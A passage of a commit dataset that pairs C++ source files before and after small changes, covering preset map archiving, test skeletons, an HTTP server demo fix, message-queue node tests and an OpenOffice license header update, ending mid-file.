{\n\t\t\tstd::string name = info.name();\n\t\t\tif ( (name.size() > 4 && name.substr(name.size() - 4) == \".txt\")\n\t\t\t     || (name.size() > 10 && name.substr(name.size() - 10) == \".presetMap\")) {\n\t\t\t\tmapList.push_back(name);\n\t\t\t}\n\t\t}\n\t}\n\treturn mapList;\n}\n\nbool PresetMapper::consumeMessage(osc::Message &m, std::string rootOSCPath)\n{\n\tif(m.addressPattern() == rootOSCPath + \"\/map\" && m.typeTags() == \"s\"){\n\t\tstd::string val;\n\t\tm >> val;\n\t\tstd::cout << \"OSC: Recall preset map: \" << val << std::endl;\n\t\tthis->load(val);\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nbool PresetMapper::restore(std::string mapName, bool overwrite, bool autoCreate)\n{\n\tbool ok = true;\n\tif (mapName.size() > 18 && mapName.substr(mapName.size() - 18) == \".presetMap_archive\") { \/\/ restore from archive\n\t\tstd::cout << \"Restoring archive \" << mapName << std::endl;\n\t\tDir mapDirectory(mPresetHandler->getCurrentPath() + mapName);\n\t\tstd::string mapNewName = mapName.substr(0, mapName.size() - sizeof(\"_archive\") + 1);\n\t\twhile (mapDirectory.read()) {\n\t\t\tconst FileInfo &entry = mapDirectory.entry();\n\t\t\tif (entry.type() == FileInfo::REG) {\n\t\t\t\tif (entry.name().substr(entry.name().size() - 7) == \".preset\") {\n\t\t\t\t\tif (overwrite && File::exists(mPresetHandler->getCurrentPath() + \"\/\" + entry.name())) {\n\t\t\t\t\t\tFile::remove(mPresetHandler->getCurrentPath() + entry.name());\n\t\t\t\t\t}\n\t\t\t\t\tif (!File::copy(mPresetHandler->getCurrentPath() + mapName + \"\/\" + entry.name(),\n\t\t\t\t\t                mPresetHandler->getCurrentPath() + entry.name())) {\n\t\t\t\t\t\tstd::cout << \"Error restoring preset \" << entry.name() << \" for \" << mapName << std::endl;\n\t\t\t\t\t\tok = false;\n\t\t\t\t\t}\n\t\t\t\t} else if (entry.name() == \"default.presetMap\") {\n\n\t\t\t\t\tif (overwrite && File::exists(mPresetHandler->getCurrentPath() + \"\/\" + mapNewName)) {\n\t\t\t\t\t\tFile::remove(mPresetHandler->getCurrentPath() + \"\/\" + entry.name());\n\t\t\t\t\t}\n\n\t\t\t\t\tif (!File::copy(mPresetHandler->getCurrentPath() + \"\/\" + mapName + \"\/default.presetMap\",\n\t\t\t\t\t                mPresetHandler->getCurrentPath() + \"\/\" + mapNewName)) {\n\t\t\t\t\t\tstd::cout << \"Error restoring preset map \" << mapNewName << \" for \" << mapName << std::endl;\n\t\t\t\t\t\tok = false;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tstd::cout << \"PresetMapper::restore() invalid file: \" << entry.name() << std::endl;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tmPresetHandler->setCurrentPresetMap(mapNewName, autoCreate);\n\t} else { \/\/ set preset map directly\n\t\tmPresetHandler->setCurrentPresetMap(mapName, autoCreate);\n\t}\n\treturn ok;\n}\n\nvoid PresetMapper::findPresetMaps() {\n\tstd::string presetsPath = mPresetHandler->getCurrentPath();\n\n\tDir presetDir(presetsPath);\n\twhile (presetDir.read()) {\n\t\tFileInfo entry = presetDir.entry();\n\t\tif (entry.name().size() > 4 && entry.name().substr(entry.name().size() - 4) == \".txt\") {\n\t\t\tstd::cout << \"Found map: \" << entry.name() << std::endl;\n\t\t}\n\t}\n}\n<commit_msg>Fixed issue setting preset map archive sub dir<commit_after>\n#include \"allocore\/ui\/al_PresetMapper.hpp\"\n\nusing namespace al;\n\nvoid PresetMapper::readEntries(std::string path)\n{\n\tDir presetDir(path);\n\twhile (presetDir.read()) {\n\t\tFileInfo entry = presetDir.entry();\n\t\tif (entry.type() == FileInfo::DIR) {\n\t\t\treadEntries(entry.name());\n\t\t} else if (entry.type() == FileInfo::REG) {\n\t\t\tif (entry.name().size() > 4 && entry.name().substr(entry.name().size() - 4) == \".txt\") {\n\t\t\t\tstd::cout << \"Found map: \" << entry.name();\n\t\t\t}\n\t\t}\n\t}\n}\n\nPresetMapper::~PresetMapper() { }\n\nPresetMapper &PresetMapper::registerPresetHandler(PresetHandler &handler) {\n\tmPresetHandler = &handler;\n\tif (mFindAutomatically) {\n\t\tfindPresetMaps();\n\t}\n\treturn *this;\n}\n\nbool PresetMapper::archive(std::string mapName, bool overwrite)\n{\n\tbool ok = true;\n\tstd::string fullPath = mPresetHandler->buildMapPath(mapName) + \"_archive\";\n\tif (overwrite) {\n\t\tif(File::isDirectory(fullPath)) {\n\t\t\tif (!Dir::removeRecursively(fullPath)) {\n\t\t\t\tstd::cout << \"Error removing directory: \" << fullPath << \" aborting preset map archiving.\" << std::endl;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} else {\n\t\t\tif (File::remove(fullPath) != 0) {\n\t\t\t\tstd::cout << \"Error removing file: \" << fullPath << \" aborting preset map archiving.\" << std::endl;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\tif (!Dir::make(fullPath)) {\n\t\t\tstd::cout << \"Error creating preset map archive directory \" << fullPath << std::endl;\n\t\t\treturn false;\n\t\t}\n\t} else {\n\t\tint counter = 0;\n\t\twhile (File::isDirectory(fullPath)) {\n\t\t\tstd::string newName = mapName + \"_\" + std::to_string(counter++);\n\t\t\tfullPath = mPresetHandler->buildMapPath(newName) + \"_archive\";\n\t\t\tif (counter == 0) { \/\/ We've wrapped and run out of names...\n\t\t\t\tstd::cout << \"Out of names for preset map archive.\" << std::endl;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\tif (!Dir::make(fullPath)) {\n\t\t\tstd::cout << \"Error creating preset map archive directory \" << fullPath << std::endl;\n\t\t\treturn false;\n\t\t}\n\t}\n\tstd::map<int, std::string> presetMap = mPresetHandler->readPresetMap(mapName);\n\tfor(auto const &preset : presetMap) {\n\t\tstd::string presetFilename = mPresetHandler->getCurrentPath() + preset.second + \".preset\";\n\t\tif (!File::copy(presetFilename, fullPath)) {\n\t\t\tstd::cout << \"Error copying preset \" << presetFilename << \" when archiving preset map.\" << std::endl;\n\t\t\tok = false;\n\t\t}\n\t}\n\tif (!File::copy(mPresetHandler->buildMapPath(mapName), fullPath + \"default.presetMap\")) {\n\t\tstd::cout << \"Error copying map: \" << mapName << \" when archiving preset map.\" << std::endl;\n\t\tok = false;\n\t}\n\n\treturn ok;\n}\n\nbool PresetMapper::load(std::string archiveName)\n{\n\tif (! (archiveName.size() > 18 && archiveName.substr(archiveName.size() - 18) == \".presetMap_archive\") ) {\n\t\tarchiveName +=\".presetMap_archive\";\n\t}\n\tstd::string mapPath = mPresetHandler->getRootPath() + archiveName;\n\tif (File::isDirectory(archiveName)) {\n\t\tmPresetHandler->setSubDirectory(archiveName);\n\t\tmPresetHandler->setCurrentPresetMap(\"default\");\n\t} else {\n\t\tstd::cout << \"Error loading archive: \" << archiveName << std::endl;\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nstd::vector<std::string> PresetMapper::listAvailableMaps(bool showArchives)\n{\n\tstd::vector<std::string> mapList;\n\tDir mapperDir(mPresetHandler->getCurrentPath());\n\n\t\/\/ TODO it makes more sense to sort entries alphabetically\n\twhile(mapperDir.read()) {\n\t\tconst FileInfo &info = mapperDir.entry();\n\t\tif (info.type() == FileInfo::DIR && showArchives) {\n\t\t\tstd::string name = info.name();\n\t\t\tif ( (name.size() > 18 && name.substr(name.size() - 18) == \".presetMap_archive\")) {\n\t\t\t\tmapList.push_back(name);\n\t\t\t}\n\t\t} else if (info.type() == FileInfo::REG && !showArchives) {\n\t\t\tstd::string name = info.name();\n\t\t\tif ( (name.size() > 4 && name.substr(name.size() - 4) == \".txt\")\n\t\t\t     || (name.size() > 10 && name.substr(name.size() - 10) == \".presetMap\")) {\n\t\t\t\tmapList.push_back(name);\n\t\t\t}\n\t\t}\n\t}\n\treturn mapList;\n}\n\nbool PresetMapper::consumeMessage(osc::Message &m, std::string rootOSCPath)\n{\n\tif(m.addressPattern() == rootOSCPath + \"\/map\" && m.typeTags() == \"s\"){\n\t\tstd::string val;\n\t\tm >> val;\n\t\tstd::cout << \"OSC: Recall preset map: \" << val << std::endl;\n\t\tthis->load(val);\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nbool PresetMapper::restore(std::string mapName, bool overwrite, bool autoCreate)\n{\n\tbool ok = true;\n\tif (mapName.size() > 18 && mapName.substr(mapName.size() - 18) == \".presetMap_archive\") { \/\/ restore from archive\n\t\tstd::cout << \"Restoring archive \" << mapName << std::endl;\n\t\tDir mapDirectory(mPresetHandler->getCurrentPath() + mapName);\n\t\tstd::string mapNewName = mapName.substr(0, mapName.size() - sizeof(\"_archive\") + 1);\n\t\twhile (mapDirectory.read()) {\n\t\t\tconst FileInfo &entry = mapDirectory.entry();\n\t\t\tif (entry.type() == FileInfo::REG) {\n\t\t\t\tif (entry.name().substr(entry.name().size() - 7) == \".preset\") {\n\t\t\t\t\tif (overwrite && File::exists(mPresetHandler->getCurrentPath() + \"\/\" + entry.name())) {\n\t\t\t\t\t\tFile::remove(mPresetHandler->getCurrentPath() + entry.name());\n\t\t\t\t\t}\n\t\t\t\t\tif (!File::copy(mPresetHandler->getCurrentPath() + mapName + \"\/\" + entry.name(),\n\t\t\t\t\t                mPresetHandler->getCurrentPath() + entry.name())) {\n\t\t\t\t\t\tstd::cout << \"Error restoring preset \" << entry.name() << \" for \" << mapName << std::endl;\n\t\t\t\t\t\tok = false;\n\t\t\t\t\t}\n\t\t\t\t} else if (entry.name() == \"default.presetMap\") {\n\n\t\t\t\t\tif (overwrite && File::exists(mPresetHandler->getCurrentPath() + \"\/\" + mapNewName)) {\n\t\t\t\t\t\tFile::remove(mPresetHandler->getCurrentPath() + \"\/\" + entry.name());\n\t\t\t\t\t}\n\n\t\t\t\t\tif (!File::copy(mPresetHandler->getCurrentPath() + \"\/\" + mapName + \"\/default.presetMap\",\n\t\t\t\t\t                mPresetHandler->getCurrentPath() + \"\/\" + mapNewName)) {\n\t\t\t\t\t\tstd::cout << \"Error restoring preset map \" << mapNewName << \" for \" << mapName << std::endl;\n\t\t\t\t\t\tok = false;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tstd::cout << \"PresetMapper::restore() invalid file: \" << entry.name() << std::endl;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tmPresetHandler->setCurrentPresetMap(mapNewName, autoCreate);\n\t} else { \/\/ set preset map directly\n\t\tmPresetHandler->setCurrentPresetMap(mapName, autoCreate);\n\t}\n\treturn ok;\n}\n\nvoid PresetMapper::findPresetMaps() {\n\tstd::string presetsPath = mPresetHandler->getCurrentPath();\n\n\tDir presetDir(presetsPath);\n\twhile (presetDir.read()) {\n\t\tFileInfo entry = presetDir.entry();\n\t\tif (entry.name().size() > 4 && entry.name().substr(entry.name().size() - 4) == \".txt\") {\n\t\t\tstd::cout << \"Found map: \" << entry.name() << std::endl;\n\t\t}\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ $Id: ParameterSection_test.C,v 1.1 2000\/09\/16 08:33:55 oliver Exp $\n#include <BALL\/CONCEPT\/classTest.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <BALL\/FORMAT\/parameterSection.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSTART_TEST(Parameters, \"$Id: ParameterSection_test.C,v 1.1 2000\/09\/16 08:33:55 oliver Exp $\")\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace BALL;\n\n\t\t\t\t\t\t\t\t\t\t\t\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEND_TEST\n<commit_msg>added: test skeleton<commit_after>\/\/ $Id: ParameterSection_test.C,v 1.2 2000\/09\/19 15:53:02 oliver Exp $\n#include <BALL\/CONCEPT\/classTest.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <BALL\/FORMAT\/parameterSection.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSTART_TEST(Parameters, \"$Id: ParameterSection_test.C,v 1.2 2000\/09\/19 15:53:02 oliver Exp $\")\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace BALL;\n\nCHECK(ParameterSection::ParameterSection())\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::~ParameterSection())\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::destroy())\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::extractSection(Parameters& parameters, const String& section_name))\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::getValue(const String& key, const String& variable) const )\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::has(const String& key, const String& variable) const )\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::has(const String& key) const )\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::hasVariable(const String& variable) const )\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::getColumnIndex(const String& variable) const )\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::getNumberOfVariables() const )\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::getNumberOfKeys() const )\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::getValue(Position key_index, Position variable_index) const )\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::getKey(Position key_index) const )\n  \/\/BAUSTELLE\nRESULT\n\n\nCHECK(ParameterSection::isValid() const )\n  \/\/BAUSTELLE\nRESULT\n\n\n\t\t\t\t\t\t\t\t\t\t\t\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEND_TEST\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\").  See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership.  You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n#include <seastar\/http\/httpd.hh>\n#include <seastar\/http\/handlers.hh>\n#include <seastar\/http\/function_handlers.hh>\n#include <seastar\/http\/file_handler.hh>\n#include \"demo.json.hh\"\n#include <seastar\/http\/api_docs.hh>\n\nnamespace bpo = boost::program_options;\n\nusing namespace seastar;\nusing namespace httpd;\n\nclass handl : public httpd::handler_base {\npublic:\n    virtual future<std::unique_ptr<reply> > handle(const sstring& path,\n            std::unique_ptr<request> req, std::unique_ptr<reply> rep) {\n        rep->_content = \"hello\";\n        rep->done(\"html\");\n        return make_ready_future<std::unique_ptr<reply>>(std::move(rep));\n    }\n};\n\nvoid set_routes(routes& r) {\n    function_handler* h1 = new function_handler([](const_req req) {\n        return \"hello\";\n    });\n    function_handler* h2 = new function_handler([](std::unique_ptr<request> req) {\n        return make_ready_future<json::json_return_type>(\"json-future\");\n    });\n    r.add(operation_type::GET, url(\"\/\"), h1);\n    r.add(operation_type::GET, url(\"\/jf\"), h2);\n    r.add(operation_type::GET, url(\"\/file\").remainder(\"path\"),\n            new directory_handler(\"\/\"));\n    demo_json::hello_world.set(r, [] (const_req req) {\n        demo_json::my_object obj;\n        obj.var1 = req.param.at(\"var1\");\n        obj.var2 = req.param.at(\"var2\");\n        demo_json::ns_hello_world::query_enum v = demo_json::ns_hello_world::str2query_enum(req.query_parameters.at(\"query_enum\"));\n        \/\/ This demonstrate enum conversion\n        obj.enum_var = v;\n        return obj;\n    });\n}\n\nint main(int ac, char** av) {\n    app_template app;\n    app.add_options()(\"port\", bpo::value<uint16_t>()->default_value(10000),\n            \"HTTP Server port\");\n    return app.run_deprecated(ac, av, [&] {\n        auto&& config = app.configuration();\n        uint16_t port = config[\"port\"].as<uint16_t>();\n        auto server = new http_server_control();\n        auto rb = make_shared<api_registry_builder>(\"apps\/httpd\/\");\n        server->start().then([server] {\n            return server->set_routes(set_routes);\n        }).then([server, rb]{\n            return server->set_routes([rb](routes& r){rb->set_api_doc(r);});\n        }).then([server, rb]{\n            return server->set_routes([rb](routes& r) {rb->register_function(r, \"demo\", \"hello world application\");});\n        }).then([server, port] {\n            return server->listen(port);\n        }).then([server, port] {\n            std::cout << \"Seastar HTTP server listening on port \" << port << \" ...\\n\";\n            engine().at_exit([server] {\n                return server->stop();\n            });\n        });\n\n    });\n}\n<commit_msg>apps\/httpd: main: do not discard future<commit_after>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\").  See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership.  You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n#include <seastar\/http\/httpd.hh>\n#include <seastar\/http\/handlers.hh>\n#include <seastar\/http\/function_handlers.hh>\n#include <seastar\/http\/file_handler.hh>\n#include \"demo.json.hh\"\n#include <seastar\/http\/api_docs.hh>\n\nnamespace bpo = boost::program_options;\n\nusing namespace seastar;\nusing namespace httpd;\n\nclass handl : public httpd::handler_base {\npublic:\n    virtual future<std::unique_ptr<reply> > handle(const sstring& path,\n            std::unique_ptr<request> req, std::unique_ptr<reply> rep) {\n        rep->_content = \"hello\";\n        rep->done(\"html\");\n        return make_ready_future<std::unique_ptr<reply>>(std::move(rep));\n    }\n};\n\nvoid set_routes(routes& r) {\n    function_handler* h1 = new function_handler([](const_req req) {\n        return \"hello\";\n    });\n    function_handler* h2 = new function_handler([](std::unique_ptr<request> req) {\n        return make_ready_future<json::json_return_type>(\"json-future\");\n    });\n    r.add(operation_type::GET, url(\"\/\"), h1);\n    r.add(operation_type::GET, url(\"\/jf\"), h2);\n    r.add(operation_type::GET, url(\"\/file\").remainder(\"path\"),\n            new directory_handler(\"\/\"));\n    demo_json::hello_world.set(r, [] (const_req req) {\n        demo_json::my_object obj;\n        obj.var1 = req.param.at(\"var1\");\n        obj.var2 = req.param.at(\"var2\");\n        demo_json::ns_hello_world::query_enum v = demo_json::ns_hello_world::str2query_enum(req.query_parameters.at(\"query_enum\"));\n        \/\/ This demonstrate enum conversion\n        obj.enum_var = v;\n        return obj;\n    });\n}\n\nint main(int ac, char** av) {\n    app_template app;\n    app.add_options()(\"port\", bpo::value<uint16_t>()->default_value(10000),\n            \"HTTP Server port\");\n    return app.run_deprecated(ac, av, [&] {\n        auto&& config = app.configuration();\n        uint16_t port = config[\"port\"].as<uint16_t>();\n        auto server = new http_server_control();\n        auto rb = make_shared<api_registry_builder>(\"apps\/httpd\/\");\n        return server->start().then([server] {\n            return server->set_routes(set_routes);\n        }).then([server, rb]{\n            return server->set_routes([rb](routes& r){rb->set_api_doc(r);});\n        }).then([server, rb]{\n            return server->set_routes([rb](routes& r) {rb->register_function(r, \"demo\", \"hello world application\");});\n        }).then([server, port] {\n            return server->listen(port);\n        }).then([server, port] {\n            std::cout << \"Seastar HTTP server listening on port \" << port << \" ...\\n\";\n            engine().at_exit([server] {\n                return server->stop();\n            });\n        });\n\n    });\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file   MqNodeTest.cpp\n * @brief  MqNode class tester.\n * @author zer0\n * @date   2018-11-11\n *\/\n\n#include <gtest\/gtest.h>\n#include <tester\/DemoAsset.hpp>\n#include <libtbag\/mq\/MqNode.hpp>\n#include <string>\n\nusing namespace libtbag;\nusing namespace libtbag::mq;\n\nTEST(MqNodeTest, Bind_Release)\n{\n    tttDir_Automatic_Pipe();\n    auto const PIPE_PATH = std::string(\"pipe:\/\/\") + tttDir_Pipe_Get();\n\n    MqNode node;\n    ASSERT_EQ(Err::E_SUCCESS, node.bind(PIPE_PATH));\n}\n\n\/\/TEST(MqNodeTest, Connect_Release)\n\/\/{\n\/\/    tttDir_Automatic_Pipe();\n\/\/    auto const PIPE_PATH = std::string(\"pipe:\/\/\") + tttDir_Pipe_Get();\n\/\/\n\/\/    MqNode node;\n\/\/    ASSERT_EQ(Err::E_SUCCESS, node.connect(PIPE_PATH));\n\/\/}\n\nTEST(MqNodeTest, BindAndConnection_Release)\n{\n    tttDir_Automatic_Pipe();\n    auto const PIPE_PATH = std::string(\"pipe:\/\/\") + tttDir_Pipe_Get();\n\n    MqNode node1;\n    MqNode node2;\n    ASSERT_EQ(Err::E_SUCCESS, node1.bind(PIPE_PATH));\n    ASSERT_EQ(Err::E_SUCCESS, node2.connect(PIPE_PATH));\n}\n\n<commit_msg>Create MqNodeTest.BindAndConnection2 tester.<commit_after>\/**\n * @file   MqNodeTest.cpp\n * @brief  MqNode class tester.\n * @author zer0\n * @date   2018-11-11\n *\/\n\n#include <gtest\/gtest.h>\n#include <tester\/DemoAsset.hpp>\n#include <libtbag\/mq\/MqNode.hpp>\n#include <libtbag\/log\/Log.hpp>\n\n#include <string>\n\nusing namespace libtbag;\nusing namespace libtbag::mq;\n\nTEST(MqNodeTest, Bind)\n{\n    libtbag::log::SeverityGuard guard;\n\n    tttDir_Automatic_Pipe();\n    auto const PIPE_PATH = std::string(\"pipe:\/\/\") + tttDir_Pipe_Get() + \"?verbose=true\";\n\n    MqNode node;\n    ASSERT_EQ(Err::E_SUCCESS, node.bind(PIPE_PATH));\n}\n\n\/\/TEST(MqNodeTest, Connect_Release)\n\/\/{\n\/\/    tttDir_Automatic_Pipe();\n\/\/    auto const PIPE_PATH = std::string(\"pipe:\/\/\") + tttDir_Pipe_Get();\n\/\/\n\/\/    MqNode node;\n\/\/    ASSERT_EQ(Err::E_SUCCESS, node.connect(PIPE_PATH));\n\/\/}\n\nTEST(MqNodeTest, BindAndConnection)\n{\n    \/\/ Client release -> Server release!\n\n    tttDir_Automatic_Pipe();\n    auto const PIPE_PATH = std::string(\"pipe:\/\/\") + tttDir_Pipe_Get() + \"?verbose=true\";\n\n    auto server = std::make_unique<MqNode>();\n    auto client = std::make_unique<MqNode>();\n\n    libtbag::log::SeverityGuard guard;\n    ASSERT_EQ(Err::E_SUCCESS, server->bind(PIPE_PATH));\n    ASSERT_EQ(Err::E_SUCCESS, client->connect(PIPE_PATH));\n\n    client.reset();\n    server.reset();\n}\n\nTEST(MqNodeTest, BindAndConnection2)\n{\n    \/\/ Server release -> Client release!\n\n    tttDir_Automatic_Pipe();\n    auto const PIPE_PATH = std::string(\"pipe:\/\/\") + tttDir_Pipe_Get() + \"?verbose=true\";\n\n    auto server = std::make_unique<MqNode>();\n    auto client = std::make_unique<MqNode>();\n\n    \/\/libtbag::log::SeverityGuard guard;\n    ASSERT_EQ(Err::E_SUCCESS, server->bind(PIPE_PATH));\n    ASSERT_EQ(Err::E_SUCCESS, client->connect(PIPE_PATH));\n\n    server.reset();\n    client.reset();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: fmtline.hxx,v $\n *\n *  $Revision: 1.10 $\n *\n *  last change: $Author: hr $ $Date: 2006-08-14 15:23:59 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef SW_FMTLINE_HXX\n#define SW_FMTLINE_HXX\n\n\n#ifndef _SFXPOOLITEM_HXX \/\/autogen\n#include <svtools\/poolitem.hxx>\n#endif\n#ifndef _HINTIDS_HXX\n#include <hintids.hxx>\n#endif\n#ifndef _FORMAT_HXX \/\/autogen\n#include <format.hxx>\n#endif\n#ifndef INCLUDED_SWDLLAPI_H\n#include \"swdllapi.h\"\n#endif\n\nclass IntlWrapper;\n\nclass SW_DLLPUBLIC SwFmtLineNumber: public SfxPoolItem\n{\n    ULONG nStartValue   :24; \/\/Startwert fuer den Absatz, 0 == kein Startwert\n    ULONG bCountLines   :1;  \/\/Zeilen des Absatzes sollen mitgezaehlt werden.\n\npublic:\n    SwFmtLineNumber();\n    ~SwFmtLineNumber();\n\n    TYPEINFO();\n\n    \/\/ \"pure virtual Methoden\" vom SfxPoolItem\n    virtual int             operator==( const SfxPoolItem& ) const;\n    virtual SfxPoolItem*    Clone( SfxItemPool* pPool = 0 ) const;\n    virtual SfxItemPresentation GetPresentation( SfxItemPresentation ePres,\n                                    SfxMapUnit eCoreMetric,\n                                    SfxMapUnit ePresMetric,\n                                    String &rText,\n                                    const IntlWrapper*    pIntl = 0 ) const;\n    virtual BOOL             QueryValue( com::sun::star::uno::Any& rVal, BYTE nMemberId = 0 ) const;\n    virtual BOOL             PutValue( const com::sun::star::uno::Any& rVal, BYTE nMemberId = 0 );\n\n    ULONG GetStartValue() const { return nStartValue; }\n    BOOL  IsCount()       const { return bCountLines != 0; }\n\n    void SetStartValue( ULONG nNew ) { nStartValue = nNew; }\n    void SetCountLines( BOOL b )     { bCountLines = b;    }\n};\n\ninline const SwFmtLineNumber &SwAttrSet::GetLineNumber(BOOL bInP) const\n    { return (const SwFmtLineNumber&)Get( RES_LINENUMBER,bInP); }\n\n#endif\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.10.738); FILE MERGED 2008\/04\/01 15:56:12 thb 1.10.738.3: #i85898# Stripping all external header guards 2008\/04\/01 12:53:30 thb 1.10.738.2: #i85898# Stripping all external header guards 2008\/03\/31 16:52:38 rt 1.10.738.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: fmtline.hxx,v $\n * $Revision: 1.11 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#ifndef SW_FMTLINE_HXX\n#define SW_FMTLINE_HXX\n\n\n#include <svtools\/poolitem.hxx>\n#include 